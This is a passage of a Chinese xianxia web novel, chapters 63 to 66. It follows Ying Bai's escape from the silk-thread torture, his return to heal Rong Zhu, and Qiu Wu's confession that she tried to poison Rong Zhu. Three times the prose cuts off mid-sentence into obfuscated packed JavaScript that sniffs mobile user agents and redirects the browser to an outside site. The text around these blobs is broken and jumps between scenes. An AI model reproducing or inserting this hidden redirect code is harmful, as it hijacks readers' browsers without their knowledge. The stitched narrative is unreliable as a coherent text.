有一股无形的力量在应白体内游走,这是一种激烈的,雄厚的,是身体里的火焰产生的。它炽热的燃烧似乎终于到了尽头,随之而来的澎湃力量让应白忽然觉得自己又活了过来。 第一百根。 银丝入体的一刹那,应白感受到的不是尖锐的疼痛,而是如江流河海般的力量朝他的丹田汹涌汇集,不停地翻腾积蓄,鼓动着他的意识与精气,蓄势待发! 第一百零一…… 就在这根银丝将要入体的瞬间,应白感到体内的力量喷涌而出,这个离自己肩膀处的伤口只有不到半寸的银丝被这股力量碾碎成沫,捆绑在身上的绳子全部爆裂,就连勒住心脏的一百根银丝也骤然松懈,到达伤口,全部飞了出去! 众人的笑容僵立在脸上,突发情况让所有人都愣怔在原地,所有人的双眸在此刻睁到了生平最大限度,定格在半空中的其他银丝全部被这股力量波及,化为粉尘。 待粉雾消散,修真界头号罪人应白已经脱离了十字架,站到了万初眼前。 63. 双灵力 究竟发生了什么,应白也不知道。 他只知道,此刻他的体内有熊熊灵力等着释放,他虽是修炼之人却不知道为何自己的身体有如此异样。他是修炼之人,所以他知道,这份强得过分的灵力不是他的。 这份灵力之所以汹涌强悍,是因为其中包含着两种灵力。 两种灵力,两个人。 万初似乎对刚刚发生的一切十分震惊,他的胡子微不可察地僵硬了两分,苍老的眼眸尽是决绝的杀意,他张开嘴巴,低沉道:“你隐藏了灵力。” 他的双眸越来越亮,不知道是怒火还是意外,还是震惊,还是愕然,“你竟然,真的,拥有了两个灵核……” 事出反常必有妖,应白不可能莫名其妙拥有灵力。 之前在昌修百岁生辰时他发挥的灵力是他吃了丹丸的效果,那种丹丸可以让一个人的灵力到达鼎盛,只有一个时辰的功效,且吃下丹丸的人越透支灵力,对身体的反弹也越大,因此没有特殊情况,他是不会随便吃的。 但这一次,他没有吃丹丸,他每日都被关在小屋里,吃的喝的都是外面的婢女送进来的,难道…… 反应了一会儿后,底下众人终于明白发生了什么事:罪人应白挣脱了惩罚,他要再次造反! 万初双眉一凛,当即朝应白击去。 且不管体内灵力从何而来,若它能帮自己逃离天阙台去往南海,那他就会利用起来! 炽热的感觉再次袭来,灵力如开闸的河流喷涌而出,不过几招过后,万初竟有些招架不住,连连后退。 场中众人目露惊骇,面对应白的突然反转十分惊恐。 那可是万初啊,当今世界最强的一个人,如果应白能将他打败,那……那天下……要易主了? 众人心怀各思,殊不知场上的应白在施展灵力后感到了一丝痛楚,像是有人在他的肺腑间重重击了一拳,喉间漫上来腥绣的味道,温和的眸子露出了隐隐危机。 他遭反噬了。 虽然现在他的表情依然镇定自若,但战况再持续一会儿便不一定了。 万初并不知应白的心思,他双眸狠戾,两臂在胸前一舞,拂尘收到号令便朝应白攻击。 这柄拂尘是上品武器,与主人通心意,代替主人作战,虽只是一把武器可威力不容小觑。老虎有了爪牙才有震慑力,正如万初有拂尘。 应白单臂一挥,直接控制住了拂尘的动作,随即身子跃入空中,抬脚朝那拂尘一踢。 拂尘在空中激烈地抖动了一会儿便飞回万初的手中,徐旻再也按捺不住,他回头问金闻:“你不是说你已有所动作了吗?你不是在他饭菜里下了消散灵力的毒药吗?他怎么还能如此强大?” 金闻皱眉,隐藏了眸中光亮,“兴许,他的灵力已经强大到百毒不侵,所以我下的毒根本毫无作用。” “你……”徐旻失望地看着他,重重叹息一声,而这时,万初的声音严肃地传了过来:“还不过来帮忙!” 猛然之间,徐旻有一种退缩的想法,可金闻和左舒已经冲了过去,徐旻只犹豫了片刻便硬着头皮也上去了。 四人呈四角之势将应白包围在中间,他本想在心内稍一谋略做出对策,可体内的灵力似乎另有想法,急切地想爆发出来。 他预感到这是一股非比寻常的力量,它根本不会听自己安排,究竟是谁对他做了手脚?那个人想干什么?他为什么要让自己拥有灵力? 随着万初的一声令下,四人齐齐朝应白攻去,应白本欲将他们四人击倒,自己直接趁机逃走,没想到灵力涌现出来的模样根本不是自己预想的那样。 这股灵力,不对,是两股灵力,一股柔中带刚,强硬无比,一股徐徐递进,慢中带狠,而它们在迎上对面四人的灵力之时,两相结合形成了一股柔韧有余的强劲之力。 这股力量的特点在于它能根据对方的力道韧性回弹,让双方处于僵持不下的状态,除非对方的力量远比自己高得多,否则在这种僵持状态下,对方若要收手必得重伤。 这一刻,应白瞬间明白自己被算计了。 “是……是谷嵩和尤鸣的技能!”徐旻双眸睁得圆如龙眼,他近乎惊恐地看着应白,头一次见到两种灵核的加持释放出的灵力有多么强大。 人群中发出一阵低呼,圣灵宫每位圣灵的灵力特点众人心里都清楚,如今得到验证才真切相信,原来世界上真的有能容纳两个灵核的方法!原来应白真的杀了谷嵩和尤鸣! “不要收手,坚持住!”万初声如洪钟,他们四位圣灵的脸色都不太好,圈在中间的应白虽看起来泰然,但他能感觉到体内的灵力快要消耗没了,就像水闸里的水总有放完的时候。 他不能全用完,至少要保证他能安全度过海屏障。 肺腑间的疼痛持续递进,如今在大庭广众之下施展谷嵩和尤鸣的技能,就等于坐实了他是凶手这一事实,而这个人能给他体内传递两位圣灵的灵力,是不是代表着,这个人已经尽数拥有并完全可以掌控了呢? 他不知道这个人在运转着怎样一个计划,不管怎么说,这里都是是非之地,他必须尽快离开! 而这个时候,体内的灵力仿佛知晓了他的心意,也不管他是否有调动的趋势,直接又涌了一波出来,当即将苦苦支撑的四位圣灵给冲飞了出去。 应白心觉异样,谷嵩和尤鸣的灵力再怎么强大也不会在面对四位圣灵的围攻时表现得如此迎刃有余,这些力量就像一群桀骜不驯的野兽,发了疯似的回击一切外来攻击,好像对方越强大,这股力量也会更强大。 局面进展得完全超脱众人认知,底下各门各派的人都在大眼瞪小眼,没有人拔剑围攻应白,连圣灵合伙都打不过,他们这些小喽啰又能做什么? 再者,倘若今日应白注定会将圣灵宫的其他圣灵杀死,那这天下便是应白的天下,强者为尊,他们尊敬恭迎还来不及,又怎么可能与他为敌? 所有人都在等……等一个最终的结果……看看今日这场血雨腥风的对决,究竟谁败谁胜。 但…… 他们猜想了万初会赢,也猜想了应白会赢,却没有想到在下一瞬间,应白在尘埃未定之时竟一个飞影,跑了…… 天阙台此刻乌烟瘴气,方才在强大的灵力对冲之下,周围的树木建筑弄得破败不堪,万初率先起身四处搜寻应白身影,花白的胡须上沾染了鲜红血液。 水露蓉看到徐旻受伤又急又疼,可她不能上前慰问,纵然她常跟徐旻私下幽会,但所有人都知道她已不再是徐旻的妻子了,更何况她灵核受损,即便吃了徐旻给自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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正午的阳光穿透云层照射在海面上,降低了海水带给人的湿意,二人目不转睛盯着海面上的黑点,直到他的船在海中央不再前进。 海屏障在阳光的照耀下显得流光溢彩,水波横流,应白欣喜万分,好在这一路上再没有意外发生。他朝海屏障划去,先消失的是船头,然后是他…… “你看到了吗!”容檀又惊又激动,“他凭空消失了!” 直到看到这一幕,连逸才明白,那天之事,他不是不知道应白和容珠凭空消失了,只不过那样匪夷所思的事完全超乎常理,且海浪紧随其后而来,很容易让人以为他们两个被海浪吞噬了。 可今时今日,他再次亲眼看到应白凭空消失在南海上,其实严格来说他并非凭空消失,而是一点一点,仿佛他的前面有一道看不见的结界。 “我非要去看看那里到底有什么东西!”容檀也不管还在发呆的连逸,她踩着长剑很快来到应白消失的那个位置。 奇怪的是,她什么也看不到,欲继续前进,忽然间狂风四起,海浪翻滚,巨大的浪花像醒来的妖兽朝容檀卷来,喧嚣着不让外人靠近。 连逸顺势将容檀拉远,二人横在上空,没过多久,海浪渐渐平息,四下一片安宁。 64. 安与危 应白吐了三次血了,蔚蓝的海面上很快又漾开一朵妖艳醒目的红花。 他的肺腑如火烧般疼痛,难以呼吸,伸手隔着衣衫摸着怀中那个凸起的小瓶,身体的疼痛也赶不上容珠即将得救这般欢喜。 身子疲乏,力气也渐渐消散,木质的船桨拿在手中竟有千斤沉。他还想睡觉,已经几个晚上没有睡好了,他看到了不远处的崖海之山,想起容珠将包好的灵根草递给自己时,逐渐昏迷过去的模样。 好不容易游到了岸边,他踉跄下船,徒步走至大石牌坊里,雇了辆马车,对车夫说去紫阳宫,“快一点。” 车夫看他面色不好,拿了杯水给他喝,应白道谢后,马车便启程了。 路途颠簸了半个时辰,应白迷迷糊糊睡了一会儿,身体里的内伤时不时将他疼醒,他反复在困倦和疼痛中半睡半醒着,时间仿佛过了百年,又仿佛只过了一盏茶的功夫。 “客官,紫阳宫到了。” 站在紫阳宫的宫门前,应白忽然感觉全身都充满了力气。他问守门弟子沈宫主的踪迹,弟子惊恐地看着一身是血的他道:“这几日宫主下朝后就和几位宫主去找灵根草了,圣女在紫阳宫照顾容珠姑娘。” 应白的突然离去,突然回归,让守门弟子稍感意外,尤其是他现在这副样子,很难让人相信他完好无事。 他匆匆赶去容珠所在的屋外,敲了敲门叫了两声“邱梧”。他不确定邱梧现下是否在容珠房内。 过了半晌,里面无人回答,应白轻轻推门,屋子里静悄悄的,有一丝丝淡淡的花香钻入鼻尖,让人焦躁的心一下子安宁下来。 他看到容珠正静静地躺在床上,脸颊微微透着红色,看起来就像入睡一样。 她呼吸均匀,乌黑柔软的发丝摊在枕头上,长长的睫毛像停留在花//蕊上的蝴蝶,淡粉的嘴唇上还留着点点水渍,想来是邱梧刚给容珠喂过水。 应白小心翼翼掀起被子一角,看到容珠的右臂袒露在外,红色的丝线已经延伸到肩膀头的锁骨处。 还好,还来得及。 他从怀中掏出瓶子,拔出瓶塞,将瓶口抵在容珠的唇上,灵根草种子熬成的凝珠顺着瓶口落在了容珠嘴中。 这一刻,应白终于长长地舒了口气。他无力地坐在地上,身体再痛也比不上他心中的欢乐,慢慢地,他感到头脑一阵眩晕,脸面热得像火烧似的,太困了…… * 夕阳渐渐从山边落下,邱梧从林荫下走了出来,没人知道她这些天经历了什么。沈宫主和上官琛出去寻找灵根草,理所当然让邱梧留下来照顾容珠,女孩子照顾女孩子,方便又合适。 可邱梧每每看到在床上沉睡得容珠,脑子里就有一个声音跟她说:“杀了她,杀了她。她现在这么脆弱,给她喝点毒药就能帮你除掉眼中钉。” 另一个声音又说:“不行,邱梧,你不能这么做,容珠点亮了石碑,她不能死,你必须想办法救活她。” “你不下毒也行,反正她身中灵根草之毒,到了时日没有解药也就死了,你可千万别好心想着怎么救活她。” “不,我不能这么做,朝荣国需要容珠。” “可她会阻挡你和应白在一起。” “……” 邱梧感觉自己要疯了,她控制不住想杀她的心,只能减少看望容珠的次数,每日除了给她喂水,喂米粥的时间,她都不会踏入她房门一步,哪怕如此,她仍然万分煎熬…… 她在林间出神地走着,不知不觉又来到了容珠门前,天色已经暗了,到了掌灯时间,她犹犹豫豫,害怕踌躇,可还是推开了房门,里面漆黑一片。她摸索着走到桌边,拿起火折子吹了口气。 火苗瞬间照亮屋子,她将屋内的几只蜡烛点燃,明亮的空间让她很快发现屋里的状况。 “应白?” 邱梧心头跃起一阵惊喜,不过此时的应白正趴在容珠床边睡觉,过分亲密的画面让她的大脑在惊喜过后一瞬空白。 应白的半张脸掩在胳膊里,昏黄的烛光在他的脚边投下一团黑色的影子。 邱梧并未发现他火红的脸颊,也没看到他前胸的血迹,这片血迹因应白的动作被遮挡了大半,她看到的是应白守在容珠床边,气愤嫉妒的情绪很快将她包裹,她忙冲出门外。 门在被猛地打开后,又被猛地关上,发出一阵在寂静的傍晚中显得十分刺耳的声音。 容珠迷迷糊糊醒来,睁开眼后有好一会儿她不知道自己是谁,正在哪里。 不过很快,她认出了房内的布局,这是她在紫阳宫的卧室。她记得……魔龙……邱梧……灵根草…… 邱梧在帮应白采灵根草的时候晕过去了,而她…… 记忆慢慢回笼,她想起灵根草的根茎似乎有刺,碰到刺的话就会晕过去,她依稀记得自己也被扎了,所以便也晕过去了?那现在,是晕过后又醒来了吗?师父有没有吃下灵根草? 她准备起身,可浑身像是几百年没有动过似的,一时间竟调动不了手脚。不过在微微的动作间,她感到自己的手触碰到了一个热乎乎的东西。 容珠侧头去看,应白的头就枕在自己手旁边,而自己触摸到的就是他的手。 “师父?” 一开口,容珠又感觉连嗓子也仿佛几百年没说话似的。 “师父?” 容珠发现自己叫不醒应白,于是撑着身体去查探,这才发现自己的右臂裸露在外,她心内闪过一丝疑惑,看着自己光滑干净的胳膊不明白自己为何要这样睡觉,忽然很不好意思地将胳膊伸进袖子里穿好衣服。 摇曳的烛火晃了一下,一抹鲜红分外醒目地引起了容珠目光,她瞳孔慢慢放大,一丝惊慌从她眼中显露。 应白受伤了。 可是怎么会?这是朝荣国,这是紫阳宫,谁会伤害他? 她迅速下床,乌黑的头发散在背上,她摸到了应白滚烫的手,又将手背贴在他额上。 “这么热。”容珠发觉应白生病了,但应白的屋子离这还有段距离,她只好先把他放在自己的床上。 脑中有很多疑惑,为什么应白会在自己屋里?最最重要的,是他为什么受伤了? 她想去看他身上伤得多重,不过扒衣服显然并不合适,何况就算知道了她也不会治病。容珠紧锁眉头,恍惚听见外头有隐隐杂声,她推门去瞧,看见沈宫主和上官琛正一脸愁容地往这走。 “沈宫主!” 容珠三两步跑过去,似乎把沈宫主吓了一跳。一行人僵立在原地,双眼明明透露着肉眼可见的疲惫却在这一刻震惊不已。 上官琛忽然喜道:“容珠!你怎么醒了!你没事了?” 容珠不知道他们为什么是这个表情,也不懂为何上官琛的话像在说她伤得很严重,明明是应白伤得不省人事,她急道:“我师父为何受伤了?他烧得浑身滚烫,已经晕过去了,在我屋里!” “什么?应白回来了?”上官琛的反应再次让容珠感到迷惑,不过未经她提问,上官琛像是比她还着急似的火速进了屋内,沈宫主也跑了进去。 被血浸染的衣服和被烧红的脸,在昏黄的房间同样触目惊心。 上官琛和沈宫主见应白这副样子都不知道他经历了什么,因为应白当时写的信上也并未告知要去哪里,眼下看来,他的确找到了灵根草解药,救活了容珠,但他自己…… 沈宫主道:“阿琛,去叫顾先生来!” 上官琛二话不说就冲了出去,沈宫主的目光搜寻了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865894|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个屋子:“邱梧呢?” 沈宫主暂且也不去寻邱梧,她拉过容珠,将这几日发生的事跟她说了说。 由于今日几位宫主都在忙着寻找灵根草,所以上官宫主和邱宫主干脆在紫阳宫住下了,早晨朝拜完便一块去寻,傍晚一块回来。此时见上官琛火急火燎赶过来说应白受了重伤,顾寄章和二位宫主便从还没坐热乎的凳子上起来匆匆赶去。 路上,上官琛已告诉他们容珠醒来,连日来紧绷的弦终于得到了松懈,几个男人欣慰地笑了笑,现在唯一不知道的就是应白到底经历了什么。 上官琛和其他人赶到的时候,邱梧也不知从何处跑来,在对上容珠的目光时她下意识错开了。 容珠理解应白先救邱梧的心思,从他成为圣灵后无意间来到这里,到现在发生了这么大变化回来,紫阳宫一直在热情地欢迎他,而上官琛和邱梧作为他曾经的朋友,也可能是唯一的朋友,他们一直对他表达关爱,把他像家人一样对待,更不必说邱梧为他找到了灵根草,又因为灵根草而中毒。 应白曾跟她说过,在漩涡之境里支撑他度过那四年死寂般日子的就是他在紫阳宫的记忆。 紫阳宫对应白来讲有很深的感激之情,在邱梧中毒最深,最有性命危险的时候定是要先救她的。 可他到底经历了什么会受这么重的伤?如果救自己反而让他有什么危险,容珠真的不知道要怎么面对。 顾寄章先是摸了摸应白的额头,又将他衣服扒开,发现肩膀处有一处极其细小的小孔,血便是从这流出来的,他又给他把了脉,此刻神情不亚于当初给邱梧和容珠把脉的样子。 “怎么样?”沈宫主轻轻问。 顾寄章锁眉道:“他肩膀处的外伤倒没大碍,只是肺腑呼吸不匀,内伤严重,有与人搏斗的痕迹,且对方灵力很强,远远超过我们的能力,因伤情耽搁得久了,所以引起发烧,需得尽快医治。” 当容珠听到顾寄章说“对方灵力很强,远超我们的能力”几字时,她便有了不好的猜测。 “朝荣国还有谁能比你们还厉害?”上官琛一幅发现国内有奸人的模样,但他问出后没有人回答他。 众人忽然像商量好似的一阵静默。 邱梧掐了掐自己的虎穴。 良久,顾寄章拿纸笔写了药方,上官宫主问:“他伤得这么严重,吃药得多久才能好?直接给他用灵力调养吧。” “不可。”顾寄章目露担忧,“他没有灵核,输送进去的灵力既出不来,也没有东西承载,他会受不了的。” 上官宫主恍然大悟:“你说得对,你说得对。”他揣起手,不服气地瞥了顾寄章一眼。 “只能用药慢慢调养,不过花的时间长一点罢了。”顾寄章将写好的药方递给上官琛,里面还有容珠需吃的药,她虽然毒解了,但中毒颇深,还是要调养一段日子。 安顿好后,众人终于舒了口气,顾寄章注视着应白肩膀处这微不可查的小孔,神色甚是严峻。 容珠问:“顾先生,你可是发现了什么?” 顾寄章沉思道:“这伤口这么细小,如果是暗器的话,想必是十分尖锐精妙之物。不过我曾在《上古十大酷刑》一书中看到有一种杀人方法,是将一千根银丝一根根注入人体,进入体内的银丝会自觉勒住心脏,直到第一千根银丝也勒住心脏,人才会彻底死去。” 容珠的身体慢慢僵住,浑身的血液仿佛被冰冻。 “银丝入体的过程十分痛苦,犹如无数针尖不停划过血肉,这本书十分邪恶,后来被上一任君主下令烧掉,朝荣国再无此书。” 顾寄章缓慢的声音在容珠听来就像在经历千丝万缕。 她知道,千丝万缕,是万初圣灵的绝技之一。 65. 梧之心 紫阳宫的药房里药材齐全,上官琛按照药方上的药材和重量一一选好称好,然后拿去厨房熬药。一个时辰后,他用小碗乘起熬好的药送去应白房中。 在顾寄章对应白医治完后他便和邱宫主一起把应白抱到他自己的屋子里了。彼时,顾寄章已经走了,只有容珠一个人在屋里,她静静地坐在床边看着昏睡过去的应白,不敢想象他承受千丝万缕时的痛苦。 容珠不是没有怀疑这伤是否真是千丝万缕所为,可应白怎么会回到那个世界去找灵根草?这不是舍近求远,十分危险的途径吗? 可若按照顾寄章的描述,若是朝荣国有谁会千丝万缕,早就被各大门派联手处理掉了,如果不是万初所为,又如何解释应白肩膀上的伤呢? “师父……”容珠在心内默默念着,“你可千万不能有事。” 门轻轻地开了,上官琛捧药进来,他心里一直挂念着应白的伤势,尤其是想知道这几天来他经历了什么,心里急切,脚步也走得快,猛然看见寂静暗沉的房间里,容珠将披散的头发从后面扎起来,听见门响,她起身轻声问:“药好了?” 不知怎的,上官琛忽然把眼前的画面和自己小时候看到的某个场景串联了起来。 有一年冬天,父亲在雪中喝酒舞剑,结果发热生病了,躺在床上,他端着熬好的药进屋,看到母亲坐在床边听到开门声抬眸看他。 此时此刻,有一种时空重叠,场景重现的错觉,容珠的一声“药好了?”就像是一个…… 他好像意识到了房间内有微妙的气氛正在蔓延,不知不觉放慢脚步,瞳孔微微放大。 “哦,好了,还有你的。”他有点神游似的走了过去。容珠道:“我扶着他,你方便喂药。” “哦。”上官琛有些恍惚。 应白毫无意识,整个人完全放松了身体,因此容珠扶他起来稍微费了些事。她让他靠在自己胳膊上,另一只胳膊扶着他坐稳,上官琛一勺一勺将药喂进应白嘴中,时不时瞟一眼容珠的神情。 “不会吧……”他在心里暗暗道,“容珠和应白是师徒关系,怎么自己会往那方面想呢?” 上官琛觉得可能是自己连日来的奔波太累了,导致神经有些错乱,需要休息。 “对,是这样的。”他小心翼翼给应白喂药,尽量不把药洒出来。 “可是……”他又想到应白是为了给容珠找灵根草才受伤的,“这不是一件很正常的事吗?难道徒弟受伤,师父还能无动于衷吗?” 上官琛在心里纠正自己,反而越觉得两人之间有什么。 终于,碗里的药喂完了,他忍不住心里的好奇,但又知道这话不能明目张胆问出来,就像隔着水面看飘在水下的八卦一样,他特别着急激动,忍不住试探道:“天色晚了,你体内毒素刚清,喝了药也去休息吧。” 容珠目不转睛看着应白,双眉含忧,“我没事,师父受了重伤,我没有心思安睡。” “其实这个理由也没问题……”上官琛在心里道,他忽然想到了什么,于是跟容珠再见后他把碗放回厨房,又急急忙跑到邱梧房前,看到她屋里的烛火还在亮,便在外头小声道:“阿姐,你睡了吗?” 过了一会儿,门开,邱梧站在门后,看到上官琛一双眼睛十分明亮,不知道是高兴还是惊慌。 “你怎么了?”邱梧笑看着他。上官琛抬脚进门,将门一关,拉着邱梧在桌边坐下,脸上的神色看起来很怪异。 虽然屋中只有他们两个人,上官琛还是悄悄道:“阿姐,我好像发现了一件事,不知道你有没有这种感觉?” 邱梧不明其意:“什么事?” “就是……”上官琛纠结道:“你觉不觉得,应白和容珠,他们两个,他们两个之间,嗯,就是,不像……不对,是不仅有师徒关系?” 窗外吹进一丝夜风,桌上的烛光摇曳了一下。邱梧脸上没有了笑容,她微微挑眉:“你看到了什么?” 上官琛沉浸在自己激动的情绪中,根本没注意到邱梧的表情变化,“其实也没什么,我就是忽然有这种感觉,阿姐,你说他俩应该不是我想的那样吧?” 邱梧还没说什么,上官琛又道:“于私心而言,我更喜欢应白做我姐夫,虽然你之前跟我说不要再撮合你和他了,但阿姐,你真的不喜欢他了吗?” 心中的恶魔又出来活跃了,邱梧暗暗在袖中掐自己的虎穴,控制自己将要生气的面部表情,良久,她笑道:“你是不是这些天累了,脑子开始混乱了,都瞎想些什么,快回去睡觉吧。” 上官琛对邱梧的回答颇感意外,没有得到自己心中想要的答案,他不甘心道:“阿姐,真的是我想多了吗?我怎么感觉应白和容珠互相喜欢啊?” 邱梧的指甲用了点力气,她怎么感觉肉//体的疼痛远远赶不上心灵的痛,她把上官琛推了出去,催促道:“你不睡觉我还要睡觉,你方才的胡言乱语可千万别对别人说!” “我——”上官琛话没说出口便觉一阵风呼到了脸上,邱梧已经把门关上了,上官琛只好有些失望地离去。 邱梧将烛火吹灭,十指紧扣桌板发出“喀嚓喀嚓”的声音。她没想到,如今连上官琛也看出应白和容珠二人之间的微妙关系,她不能再犹犹豫豫了! 邱梧浑身一颤,在心里提醒自己:行动……她要行动…… * 第二日一早,容珠醒来后就去应白房中探视,一夜过后,应白脸色如常,身上也不烫了,容珠稍稍放心,准备到厨房给应白熬药。 刚一出门便看见邱梧站在不远处发呆,听见响动,她回过神来,一张脸显得血色不足,像一夜没睡,容珠上前慰问道:“邱梧,你怎么看起来精神不好?” “我……”邱梧回避她的目光,“没什么,昨晚上做噩梦了,没什么大不了的,今早我去厨房已经把你和应白的药熬好了,你等着,我去拿。” 她说完就走了,容珠心想邱梧的动作比她还快,是不是因为应白受伤的原因? 容珠在心内叹了口气,她不知道该怎么处理这样的关系,因为她和邱梧共同喜欢一个人,从她知道这件事起就总会猜想邱梧做事的动机是不是跟应白有关,有的时候心里酸酸的,有的时候心里苦苦的。 其实这一切都少一个答案,少了师父是否喜欢邱梧这个答案。 如果他喜欢邱梧,那容珠觉得事情有了结果,便不会总一日日的思考自己喜欢师父正不正确了。如果师父喜欢邱梧,那这两个互相喜欢的人一定会在一起,她喜欢师父又能怎样呢,这件事没人知道,只有她知道,喜欢的人不喜欢自己,那自己也不喜欢就好了…… 她绞着自己的手指,心里很不是滋味,忽然又想起魔龙蛊惑她的提议,随即脑子一麻,拼命摇头,两手撑着脸架在桌上兀自出神。 “唉,容珠啊,你难道还盼望着应白喜欢你吗?他那么优秀,还是你的师父啊,这怎么可能……”容珠在心里自嘲,连她自己都觉得羞愧。 过了好一会,邱梧端着两碗药进来了,容珠问邱梧哪碗是自己的,正准备喝的时候,邱梧道:“你那碗还烫,先给应白喂完再喝吧。” 容珠摸着是有点烫手,倒是应白的那碗是温热的。 “你扶应白起来,我来喂。”邱梧拿起碗,用勺子作势舀了舀,容珠还没喝药便已觉心内酸苦。她看着邱梧一勺一勺将药喂进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不要去!”邱梧紧紧抓住容珠的手,指关节咯咯作响,她此刻的样子就像是中邪一样。 容珠根本不知道发生了什么事,邱梧也不肯张口说,容珠又急又慌,而在这时,邱梧猛地抬头,痛哭道:“对不起容珠!对不起……我,我不想这样,我已经在尽力控制自己了,可是我还是做了,对不起!” 容珠惊得微微张嘴,她认为邱梧定是中邪了,开始说胡话了,她什么也做不了,只能去请沈宫主! 邱梧将她的手握得紧紧的,断断续续道:“我,我在你药里放了一颗百毒丸,幸亏你没喝,不然我一辈子都无法原谅自己!” 有好一会儿,容珠都觉得自己的耳朵不好使了,她怎么听见邱梧说给自己下毒?邱梧怎么可能这么做,她那么善良,那么热情,那么通情达理,那么亲切细心,她怎么可能…… “你……”容珠微微张嘴,她不相信邱梧会做坏事。 “我不知道自己怎么了,从某个时候开始,我就很不喜欢你,很讨厌你,我总想除掉你,我知道这样做不对,我能控制得了自己一时,却还是会在看见你的时候再次起意……” 一滴滴眼泪不停从邱梧眼眶中滴落,她看起来疲惫不堪,无比脆弱,仿佛身心承受了极大的苦楚,压得她终于爆发,终于彻底反抗。 容珠缓缓走近她,她更愿相信邱梧是真的中邪了,可是中邪的邱梧为什么会看她不顺眼?她身上有哪一点值得邱梧讨厌? “为什么呢?你为什么想杀我?” 邱梧终于放开了容珠的手,被她攥紧后的手一片红一片青,容珠顾不上疼痛,目不转睛地望着她通红的双眼。 “因为……”邱梧放低了声音,显得伤痛疲累。 “因为我喜欢应白,而应白,喜欢你。” 66. 金兰情 对于邱梧来说,英雄救美不足以让她怦然心动,这是任何一个修炼之人在看到这种情况下都会去做的一件事。 应白的独特在于他不属于朝荣国,在于他一个十八岁的少年灵力过分高强,在于他恣意顽皮也不会令人觉得反感幼稚,那种温润柔和的气质时不时从他的眼睛和言行中流露,他一面释放着这个年纪该有的天性,一面又很好的规束自己,使之完美达到了一个平衡。 面对这样一个比自己母亲还要厉害,知人情又肆意的少年,邱梧很难不动心。每每跟应白相处,整颗心会不自觉地安宁,像走累了靠在一棵大树下休息,绿茵遮住了头顶的阳光,清风吹散了身上的疲热,舒心又安全的感觉让人越来越沉沦。 可自始至终,应白都没有送过她什么,对她说过带有一丝喜欢之意的话,更遑论做出另有它意的举动。 “容珠,我早就看出来你在应白心中的特殊性,当时的我意识到后心里很悲伤,因为我思念了他这么多年,一时之间很难接受他心里喜欢的是别人。” 此时,邱梧和容珠坐在树林下的一把椅子上,阳光很温暖,照在脚上,一点一点蔓延全身。 “有一段时间我认为自己已经不在意了,我知道应白不喜欢我不是因为我的外在和实力,如果仅仅是因为这些才产生的喜欢,那便不值一提。 “朝荣国有很多同龄男子对我表露过爱慕之心,他们长相不同,性格不同,举止不同,但在我看来他们都是一个样,没有令我心动的理由,这不能说他们不优秀,同样,应白没有喜欢我,不代表我不够好,只是我不是那个令他心动的人而已。 “可是后来不知怎么回事,我非常强烈地想得到他,不愿看见你和他在一起,只要看见他的目光停留在你身上,我的心便会对你产生敌意。” 邱梧十分歉疚地垂眸,“我好像变得不是自己了,我不允许自己因为私欲而害人,我即是我,不会因为别人不喜欢自己而改变,也不会允许自己喜欢的人喜欢别人而心生恶念。” 容珠怔怔地看着邱梧,从邱梧跟她说应白喜欢她的那一刻起,容珠便像是灵魂出窍似的,任凭邱梧拉着自己出去,一路上听她说了好多心路历程,她虽然目光呆愣,但邱梧说的所有的话她都听进去了。 从来没有像现在这一刻,邱梧在容珠眼中是那么美,比初见应白落泪那天还要美。她的周身散发着金色的光芒,直到说完最后一句话,她笑看着自己,阳光也比不过她耀眼。 “邱梧……”容珠一眨不眨地看着她,身子前倾,缓缓拥抱住了她。 “我不知道这些天来你经历了这许多内心折磨,你的行为如此反常,会不会跟魔龙有关?” 容珠看着她:“你还记得那天我们在海上诛杀魔龙时,魔龙所说的话吗?” 邱梧回忆了片刻,蓦地反应过来,“它说它不只影响了陛下,也包括我们当中的人” “可是……”邱梧仍有疑惑,“我并不记得它对我做了什么。” 容珠若有所思:“魔龙高深莫测,兴许它就是有不让人发现是它所为的能力。” 虽说当时在魔龙洞穴时,魔龙想用言语诱惑自己但没得逞,容珠还会记得内心被影响后的感觉,那种感觉很强烈,很渴望,很迫不及待,根本不会意识到自己想害人的想法是错误的,更别提控制自己不去这么想,这么做。 “邱梧,你成功地控制并扼杀了心中的恶念,摆脱了魔龙对你的影响,这是十分了不起的,我……”容珠忽然自行惭愧,她认为自己如果没有奚昤的神识很有可能就听从魔龙的话了。 “我认为,没有人能像你一样理性强大,我真想和你成为好朋友。”容珠尝试握着邱梧的手,抬起眼睛望着她。 邱梧明亮的目光带着深深笑意,她和容珠手掌相握,在这一瞬间,忽然拥有了特别亲近的感觉。 “我们本来就是好朋友。” 一股股喜悦之情像开锅的浓汤,咕嘟咕嘟冒着温暖的香气,容珠不自觉笑了起来,仿佛拥有了一个从没有过的宝藏,带给了她无限勇气和力量,哪怕一辈子修炼不起来灵力这件事也变得不可怕了。 更何况还有…… 她不知道自己是怎么了,如果师父也喜欢自己的话她应该感到开心才对,可她能察觉到除了开心之外还有一种情绪在心里缠绕,有点不安、有点不知所措、或许还有退缩? 她从来没经历过这样的事,忽然不知道该怎么面对应白,既然他们互相喜欢,是不是就要改变师徒关系,那那是一种什么关系? 